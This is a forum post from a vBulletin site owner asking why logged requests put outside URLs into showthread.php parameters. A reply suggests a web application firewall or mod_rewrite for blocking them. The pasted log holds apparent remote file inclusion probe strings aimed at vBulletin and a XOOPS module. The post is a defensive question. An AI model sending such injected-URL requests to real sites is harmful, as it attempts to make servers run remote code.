vbulletin security/wierd url request!

hi experts,

for a while my forum become slower every time I get these types of urls
normally they should request a topic number example: (vb/showthread.php?t=987)
but instead they request (vb/showthread.php?t=ANOTHER_WEIRD_URL) as it shown in the code option.

my question: does this affect my forum? how can I stop them.

thx

vb/showthread.php?t=http://halloween.fizwig.com/index.htm?
/vb/showthread.php?t=http://schoolpapers.hostinginfive.com/bike.htm?
/vb/showthread.php?t=http://schoolpapers.hostinginfive.com/bike.htm?
/vb/showthread.php?t=http://mattd.myhood.se/bike.htm?
/vb/showthread.php?goto=http://schoolpapers.hostinginfive.com/bike.htm?
/vb/showthread.php?t=3279//modules/xfsection/modify.php?dir_module=http://www.ymti.org/de/xoops_lib/modules/protector/language/japanese/copyright.txt?????
/vb/showthread.php?t=http://bikelove.hostinginfive.com/bike.htm

> How can I reject/drop a request?
you either need a WAF (web application firewall), some IPS can do it also, or apache’s mod_rewrite